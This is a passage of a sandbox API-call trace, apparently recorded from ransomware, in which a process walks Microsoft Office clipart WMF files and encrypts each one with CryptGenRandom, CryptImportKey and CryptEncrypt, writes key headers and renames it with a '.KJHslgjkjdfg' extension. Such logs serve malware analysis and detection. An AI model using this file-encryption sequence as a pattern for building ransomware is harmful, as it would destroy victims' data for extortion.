lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4ef4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107254.WMF", cAlternateFileName="")) returned 1 [0193.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.591] GetProcessHeap () returned 0x990000 [0193.591] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.591] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.591] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.591] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0193.594] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.594] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.594] GetProcessHeap () returned 0x990000 [0193.594] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.594] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.594] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.594] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.594] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.594] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.594] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.594] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.594] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.595] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.595] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.595] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.595] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4ef4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4ef4, lpOverlapped=0x0) returned 1 [0193.596] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4f00, dwBufLen=0x4f00 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4f00) returned 1 [0193.596] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.596] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4f00, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4f00, lpOverlapped=0x0) returned 1 [0193.596] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.597] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4fd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.597] SetEndOfFile (hFile=0x130) returned 1 [0193.600] GetProcessHeap () returned 0x990000 [0193.600] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.600] GetProcessHeap () returned 0x990000 [0193.600] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.600] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf.kjhslgjkjdfg")) returned 1 [0193.601] CloseHandle (hObject=0x130) returned 1 [0193.601] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2168, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107258.WMF", cAlternateFileName="")) returned 1 [0193.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.603] GetProcessHeap () returned 0x990000 [0193.603] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.603] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.603] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.603] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.605] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.605] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.605] GetProcessHeap () returned 0x990000 [0193.605] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.605] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.605] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.605] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.605] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.606] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.606] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.606] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.606] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.606] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.606] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.606] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.606] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2168, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2168, lpOverlapped=0x0) returned 1 [0193.607] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2170, dwBufLen=0x2170 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2170) returned 1 [0193.607] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.607] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2170, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2170, lpOverlapped=0x0) returned 1 [0193.607] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.607] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2244, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.608] SetEndOfFile (hFile=0x130) returned 1 [0193.610] GetProcessHeap () returned 0x990000 [0193.610] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.610] GetProcessHeap () returned 0x990000 [0193.610] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.610] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf.kjhslgjkjdfg")) returned 1 [0193.612] CloseHandle (hObject=0x130) returned 1 [0193.612] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f3c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107262.WMF", cAlternateFileName="")) returned 1 [0193.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.613] GetProcessHeap () returned 0x990000 [0193.613] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.613] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.613] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.613] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.614] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.614] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.614] GetProcessHeap () returned 0x990000 [0193.615] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.615] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.615] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.615] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.615] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.615] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.615] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.615] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.615] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.615] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.615] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.616] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.616] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1f3c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1f3c, lpOverlapped=0x0) returned 1 [0193.616] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1f40, dwBufLen=0x1f40 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1f40) returned 1 [0193.617] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.617] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1f40, lpOverlapped=0x0) returned 1 [0193.617] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.617] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2014, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.617] SetEndOfFile (hFile=0x130) returned 1 [0193.617] GetProcessHeap () returned 0x990000 [0193.617] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.617] GetProcessHeap () returned 0x990000 [0193.617] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.617] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf.kjhslgjkjdfg")) returned 1 [0193.619] CloseHandle (hObject=0x130) returned 1 [0193.619] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1498, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107264.WMF", cAlternateFileName="")) returned 1 [0193.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.620] GetProcessHeap () returned 0x990000 [0193.620] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.620] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.620] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.620] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.623] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.623] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.623] GetProcessHeap () returned 0x990000 [0193.623] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.623] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.623] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.623] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.623] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.623] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.623] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.623] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.624] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.624] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.624] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.624] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.624] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1498, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1498, lpOverlapped=0x0) returned 1 [0193.625] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x14a0, dwBufLen=0x14a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x14a0) returned 1 [0193.625] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.625] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x14a0, lpOverlapped=0x0) returned 1 [0193.625] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.625] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1574, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.625] SetEndOfFile (hFile=0x130) returned 1 [0193.628] GetProcessHeap () returned 0x990000 [0193.628] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.628] GetProcessHeap () returned 0x990000 [0193.628] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.628] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf.kjhslgjkjdfg")) returned 1 [0193.629] CloseHandle (hObject=0x130) returned 1 [0193.629] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16ec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107266.WMF", cAlternateFileName="")) returned 1 [0193.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.630] GetProcessHeap () returned 0x990000 [0193.630] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.631] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.631] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.631] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.635] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, 